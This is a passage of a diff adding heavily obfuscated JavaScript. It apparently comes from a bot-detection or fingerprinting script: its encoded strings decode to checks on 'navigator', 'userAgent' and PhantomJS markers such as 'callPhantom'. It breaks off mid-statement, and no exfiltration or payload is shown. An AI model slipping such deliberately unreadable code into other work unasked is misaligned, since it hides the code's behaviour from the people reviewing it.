+ _$UK = _$Pv; + _$Qv = _$UK; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$YK = _$Yv; + _$Qv = _$zK; + _$Wv = _$EK; + _$Yv = _$YK; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$RK = _$Qv; + for (_$HK = 0; _$HK < _$zK.length; _$HK++) { + _$Qv = _$zK; + _$Wv = _$HK; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$_K = _$Gv; + _$Qv = _$_K; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$LK = _$Ov; + _$Qv = _$LK; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$_K; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$LK; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$VK = _$Pv; + _$Qv = _$zK; + _$Wv = _$HK; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$VK; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$qK = _$qv; + for (_$xK = 0; _$xK < _$VK; _$xK++) { + _$Qv = _$zK; + _$Wv = _$xK; + _$Yv = _$HK; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$dc + _$Mc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$qK += _$qv + } + _$Qv = _$qK; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$RK += _$Ov; + _$Qv = _$VK; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$HK += _$Yv + } else { + _$Qv = _$zK; + _$Wv = _$HK; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$RK += _$Ov + } + } + _$Qv = _$Te + _$Ce + _$De + _$je; + _$BK = _$Qv; + _$Wv = 1; + _$XK = _$Wv; + _$Qv = _$BK; + _$XK = _$Qv; + _$Qv = 1; + _$BK = _$Qv; + _$Qv = _$BK; + _$Wv = 5; + _$Yv = _$Qv * _$Wv; + _$BK = _$Yv; + _$Qv = []; + _$FK = _$Qv; + _$Qv = _$XK; + _$BK = _$Qv; + _$Qv = 12; + _$Wv = 7; + _$Yv = 11; + _$Ov = 13; + _$Pv = 14; + _$Gv = 15; + _$Zv = 4; + _$Ev = 16; + _$_v = 17; + _$Vv = 5; + _$qv = 8; + _$Hv = 2; + _$xv = 10; + _$Bv = 18; + _$Xv = 19; + _$Fv = 6; + _$$v = 3; + _$es = 9; + _$ts = 0; + _$ds = 20; + _$Ms = 1; + _$Is = 21; + _$As = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is]; + _$XK = _$As; + for (_$JK = 0; _$JK < _$BK.length; _$JK++) { + _$Qv = _$FK; + _$Wv = _$LC; + _$Yv = _$BK; + _$Ov = _$_C; + _$Pv = _$XK; + _$Gv = _$JK; + _$Zv = _$Pv[_$Gv]; + _$Ev = _$Yv[_$Ov](_$Zv); + _$Qv[_$Wv](_$Ev) + } + _$Qv = _$XK; + _$Wv = _$LC; + _$Yv = _$BK; + _$Ov = _$Qv[_$Wv](_$Yv); + _$XK = _$Ov; + _$Qv = _$Gh; + _$$K = _$Qv; + _$Wv = _$$K; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$$K; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$aQ = _$Vv; + for (_$eQ = 1; _$eQ < _$$K.length; _$eQ++) { + _$Qv = _$$K; + _$Wv = _$OC; + _$Yv = _$eQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$aQ; + _$Gv = _$OC; + _$Zv = _$eQ; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$aQ += _$Hv + } + _$Qv = _$Ph; + _$rQ = _$Qv; + _$Wv = 1; + _$cQ = _$Wv; + _$Qv = _$cQ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cQ = _$Yv; + _$Qv = 1; + _$rQ = _$Qv; + _$Qv = _$BC; + _$vQ = _$Qv; + _$Qv = _$cQ; + _$rQ = _$Qv; + _$Qv = 119808; + _$Wv = 117760; + _$Yv = 103424; + _$Ov = 116736; + _$Pv = 66560; + _$Gv = 105472; + _$Zv = 103424; + _$Ev = 112640; + _$_v = 118784; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$cQ = _$Vv; + for (_$sQ = 0; _$sQ < _$cQ.length; _$sQ++) { + _$Qv = _$vQ; + _$Wv = _$cQ; + _$Yv = _$sQ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$vQ = _$Ev + } + _$Qv = _$cQ; + _$Wv = _$LC; + _$Yv = _$rQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cQ = _$Ov; + _$Qv = _$Oh; + _$nQ = _$Qv; + _$Wv = 1; + _$fQ = _$Wv; + _$Qv = _$fQ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$fQ = _$Yv; + _$Qv = 1; + _$nQ = _$Qv; + _$Qv = _$BC; + _$tQ = _$Qv; + _$Qv = _$fQ; + _$nQ = _$Qv; + _$Qv = 56320; + _$Wv = 49664; + _$Yv = 60416; + _$Ov = 53760; + _$Pv = 52736; + _$Gv = 49664; + _$Zv = 59392; + _$Ev = 56832; + _$_v = 58368; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$fQ = _$Vv; + for (_$iQ = 0; _$iQ < _$fQ.length; _$iQ++) { + _$Qv = _$tQ; + _$Wv = _$fQ; + _$Yv = _$iQ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$tQ = _$Ev + } + _$Qv = _$fQ; + _$Wv = _$LC; + _$Yv = _$nQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$fQ = _$Ov; + _$Qv = _$Me + _$Ie + _$Ae + _$Pr + _$Se + _$me + _$Be; + _$oQ = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r = _$Uh; + var _$c = _$DA; + var _$v = _$Vu; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$c + _$r + _$v; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + _$kQ = _$Wv; + _$Yv = _$Cr + _$Dr + _$rr + _$er + _$sr + _$vr + _$cr; + _$bQ = _$Yv; + _$Ov = _$bQ; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$lQ = _$Gv; + _$Zv = 0; + _$MQ = _$Zv; + _$Qv = []; + _$IQ = _$Qv; + _$Qv = _$oQ; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$hQ = _$Pv; + for (_$AQ = 0; _$AQ < _$hQ; _$AQ++) { + _$Qv = _$bQ; + _$Wv = _$oQ; + _$Yv = _$_C; + _$Ov = _$MQ; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$kQ(_$Qv, _$Pv); + _$dQ = _$Gv; + _$MQ++; + _$Qv = _$bQ; + _$Wv = _$oQ; + _$Yv = _$_C; + _$Ov = _$MQ; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$kQ(_$Qv, _$Pv); + _$wQ = _$Gv; + _$MQ++; + _$Qv = _$bQ; + _$Wv = _$oQ; + _$Yv = _$_C; + _$Ov = _$MQ; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$kQ(_$Qv, _$Pv); + _$yQ = _$Gv; + _$MQ++; + _$Qv = _$bQ; + _$Wv = _$oQ; + _$Yv = _$_C; + _$Ov = _$MQ; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$kQ(_$Qv, _$Pv); + _$pQ = _$Gv; + _$MQ++; + _$Qv = _$IQ; + _$Wv = _$AQ; + _$Yv = _$dQ; + _$Ov = _$lQ; + _$Pv = _$Yv * _$Ov; + _$Gv = _$lQ; + _$Zv = _$Pv * _$Gv; + _$Ev = _$lQ; + _$_v = _$Zv * _$Ev; + _$Vv = _$wQ; + _$qv = _$lQ; + _$Hv = _$Vv * _$qv; + _$xv = _$lQ; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$yQ; + _$$v = _$lQ; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$pQ; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$hQ = _$Qv; + for (_$SQ = 0; _$SQ < _$IQ.length; _$SQ++) { + _$Qv = _$IQ; + _$Wv = _$SQ; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$hQ += _$Ov + } + _$Qv = _$TK; + _$Wv = _$RK; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$hQ; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$Pv; + if (_$Gv) { + _$Gv = _$zD + } + _$Zv = _$Gv; + if (_$Zv) { + _$ks = _$zD; + _$Ns = _$FK; + _$Hs = _$RC; + _$xs = _$BC; + _$wf = _$Ns[_$Hs](_$xs); + _$df = _$cu; + _$Mf = new _$ks(_$wf,_$df); + _$If = _$aQ; + _$Af = _$TK; + _$Sf = _$tQ; + _$mf = _$Af[_$Sf]; + _$Tf = _$vQ; + _$jf = _$mf[_$Tf]; + _$Cf = _$Mf[_$If](_$jf); + _$Zv = !_$Cf + } + _$jK = _$Zv + } + _$Qv = _$jK; + if (_$Qv) { + _$Qv = _$Yh; + _$mQ = _$Qv; + _$Wv = 1; + _$TQ = _$Wv; + _$Qv = _$TQ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$TQ = _$Yv; + _$Qv = 1; + _$mQ = _$Qv; + _$Qv = _$BC; + _$jQ = _$Qv; + _$Qv = _$TQ; + _$mQ = _$Qv; + _$Qv = 811008; + _$Wv = 794624; + _$Yv = 884736; + _$Ov = 884736; + _$Pv = 655360; + _$Gv = 851968; + _$Zv = 794624; + _$Ev = 901120; + _$_v = 950272; + _$Vv = 909312; + _$qv = 892928; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$TQ = _$Hv; + for (_$CQ = 0; _$CQ < _$TQ.length; _$CQ++) { + _$Qv = _$jQ; + _$Wv = _$TQ; + _$Yv = _$CQ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$jQ = _$Ev + } + _$Qv = _$TQ; + _$Wv = _$LC; + _$Yv = _$mQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$TQ = _$Ov; + _$Qv = _$Wh; + _$KQ = _$Qv; + _$Wv = 1; + _$QQ = _$Wv; + _$Qv = _$QQ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$QQ = _$Yv; + _$Qv = 1; + _$KQ = _$Qv; + _$Qv = _$BC; + _$WQ = _$Qv; + _$Qv = _$QQ; + _$KQ = _$Qv; + _$Qv = 6225920; + _$Wv = 7340032; + _$Yv = 6815744; + _$Ov = 6356992; + _$Pv = 7208960; + _$Gv = 7602176; + _$Zv = 7274496; + _$Ev = 7143424; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$QQ = _$_v; + for (_$YQ = 0; _$YQ < _$QQ.length; _$YQ++) { + _$Qv = _$WQ; + _$Wv = _$QQ; + _$Yv = _$YQ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$WQ = _$Ev + } + _$Qv = _$QQ; + _$Wv = _$LC; + _$Yv = _$KQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$QQ = _$Ov; + _$Qv = _$zW; + _$Wv = _$jQ; + _$Yv = _$Qv[_$Wv]; + _$Ov = !_$Yv; + _$Pv = _$Ov; + if (_$Pv) { + _$ks = _$$W; + _$Ns = _$WQ; + _$Hs = _$ks[_$Ns]; + _$Pv = !_$Hs + } + _$jK = _$Pv + } + _$Qv = _$jK; + if (_$Qv) { + for (_$YD = 1; _$YD < 15 + 5; _$YD += 2) { + _$Qv = _$gW; + _$Wv = _$YD; + _$Yv = _$gW; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = 48; + _$Zv = _$Pv - _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$jK; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$YD = 0; _$YD < _$gW.length; _$YD++) { + _$Qv = _$gW; + _$Wv = _$YD; + _$Yv = _$gW; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = []; + _$UY = _$Qv; + _$Qv = false; + _$jK = _$Qv; + _$Qv = 33; + _$UQ = _$Qv; + _$Wv = 0; + _$OQ = _$Wv; + _$Yv = _$OW++; + _$PQ = _$Yv; + _$Qv = _$PQ; + _$Wv = 12475; + _$Yv = 3174; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 79908; + _$Zv = 30611; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 303797; + _$qv = 70517; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$PQ = _$xv; + _$Qv = _$PQ; + _$Wv = 405121; + _$Yv = 171841; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$GQ = _$Pv; + _$Gv = _$GQ; + _$Zv = 52; + _$Ev = _$UQ; + _$_v = _$Zv - _$Ev; + _$Vv = 1; + _$qv = _$_v + _$Vv; + _$Hv = _$Gv * _$qv; + _$xv = _$UQ; + _$Bv = _$Hv + _$xv; + _$ZQ = _$Bv; + for (_$YD = 0; _$YD < (_$OQ ^ _$ZQ); _$YD++) { + _$Qv = 21; + _$Wv = 59; + _$Yv = _$Qv + _$Wv; + _$zQ = _$Yv; + _$Ov = 0; + _$RQ = _$Ov; + _$Pv = _$OW++; + _$_Q = _$Pv; + _$Qv = _$_Q; + _$Wv = 4851; + _$Yv = 4450; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 30994; + _$Zv = 18303; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 329734; + _$qv = 96454; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$_Q = _$xv; + _$Qv = _$_Q; + _$Wv = 117064; + _$Yv = 116216; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$LQ = _$Pv; + _$Gv = _$LQ; + _$Zv = 90; + _$Ev = 37; + _$_v = _$Zv + _$Ev; + _$Vv = _$zQ; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$zQ; + _$Fv = _$Bv + _$Xv; + _$VQ = _$Fv; + _$Qv = _$UY; + _$Wv = _$LC; + _$Yv = _$RQ; + _$Ov = _$VQ; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = false; + _$qQ = _$Qv; + try { + _$Qv = Closed; + _$HQ = _$Qv + } catch (_$a) { + _$Qv = _$OC; + _$qQ = _$Qv + } + _$Qv = _$eK; + if (_$Qv) { + _$Qv = _$Qh; + _$xQ = _$Qv; + _$Wv = 1; + _$BQ = _$Wv; + _$Qv = _$BQ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$BQ = _$Yv; + _$Qv = 1; + _$xQ = _$Qv; + _$Qv = _$BC; + _$XQ = _$Qv; + _$Qv = _$BQ; + _$xQ = _$Qv; + _$Qv = 14080; + _$Wv = 12416; + _$Yv = 15104; + _$Ov = 13440; + _$Pv = 13184; + _$Gv = 12416; + _$Zv = 14848; + _$Ev = 14208; + _$_v = 14592; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$BQ = _$Vv; + for (_$JQ = 0; _$JQ < _$BQ.length; _$JQ++) { + _$Qv = _$XQ; + _$Wv = _$BQ; + _$Yv = _$JQ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$XQ = _$Ev + } + _$Qv = _$BQ; + _$Wv = _$LC; + _$Yv = _$xQ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$BQ = _$Ov; + _$Qv = _$he + _$ue + _$de + _$pe + _$ge + _$ye + _$we; + _$$Q = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$aW = _$Wv; + _$Yv = _$Cr + _$be + _$le + _$Sr + _$Kr + _$ke + _$Ee + _$Re; + _$eW = _$Yv; + _$Ov = _$eW; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$rW = _$Gv; + _$Zv = 0; + _$tW = _$Zv; + _$Qv = []; + _$iW = _$Qv; + _$Qv = _$$Q; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$cW = _$Pv; + for (_$oW = 0; _$oW < _$cW; _$oW++) { + _$Qv = _$eW; + _$Wv = _$$Q; + _$Yv = _$_C; + _$Ov = _$tW; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$aW(_$Qv, _$Pv); + _$fW = _$Gv; + _$tW++; + _$Qv = _$eW; + _$Wv = _$$Q; + _$Yv = _$_C; + _$Ov = _$tW; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$aW(_$Qv, _$Pv); + _$nW = _$Gv; + _$tW++; + _$Qv = _$eW; + _$Wv = _$$Q; + _$Yv = _$_C; + _$Ov = _$tW; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$aW(_$Qv, _$Pv); + _$sW = _$Gv; + _$tW++; + _$Qv = _$eW; + _$Wv = _$$Q; + _$Yv = _$_C; + _$Ov = _$tW; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$aW(_$Qv, _$Pv); + _$vW = _$Gv; + _$tW++; + _$Qv = _$iW; + _$Wv = _$oW; + _$Yv = _$fW; + _$Ov = _$rW; + _$Pv = _$Yv * _$Ov; + _$Gv = _$rW; + _$Zv = _$Pv * _$Gv; + _$Ev = _$rW; + _$_v = _$Zv * _$Ev; + _$Vv = _$nW; + _$qv = _$rW; + _$Hv = _$Vv * _$qv; + _$xv = _$rW; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$sW; + _$$v = _$rW; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$vW; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$cW = _$Qv; + for (_$kW = 0; _$kW < _$iW.length; _$kW++) { + _$Qv = _$iW; + _$Wv = _$kW; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$cW += _$Ov + } + _$Qv = _$TK; + _$Wv = _$XQ; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$cW; + _$Pv = _$Yv[_$Ov]; + _$Gv = !_$Pv; + _$jK = _$Gv + } + _$Qv = _$jK; + if (_$Qv) { + for (_$YD = 0; _$YD < 14 + 6; _$YD += 2) { + _$Qv = _$UY; + _$Wv = _$YD; + _$Yv = _$UY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = 50; + _$Zv = _$Pv - _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$jK; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$YD = 0; _$YD < _$UY.length; _$YD++) { + _$Qv = _$UY; + _$Wv = _$YD; + _$Yv = _$UY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = false; + _$jK = _$Qv; + _$Qv = []; + _$sY = _$Qv; + _$Qv = 37; + _$lW = _$Qv; + _$Wv = 0; + _$hW = _$Wv; + _$Yv = _$OW; + _$wW = _$Yv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$wW; + _$Wv = 12618; + _$Yv = 3317; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 29581; + _$Zv = 19716; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 348700; + _$qv = 115420; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$wW = _$xv; + _$Qv = _$wW; + _$Wv = 61827; + _$Yv = 171453; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$dW = _$Pv; + _$Qv = _$dW; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$MW = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$MW; + _$Wv = 2829; + _$Yv = 6472; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 84021; + _$Zv = 34724; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 305851; + _$qv = 72571; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$MW = _$xv; + _$Qv = _$MW; + _$Wv = 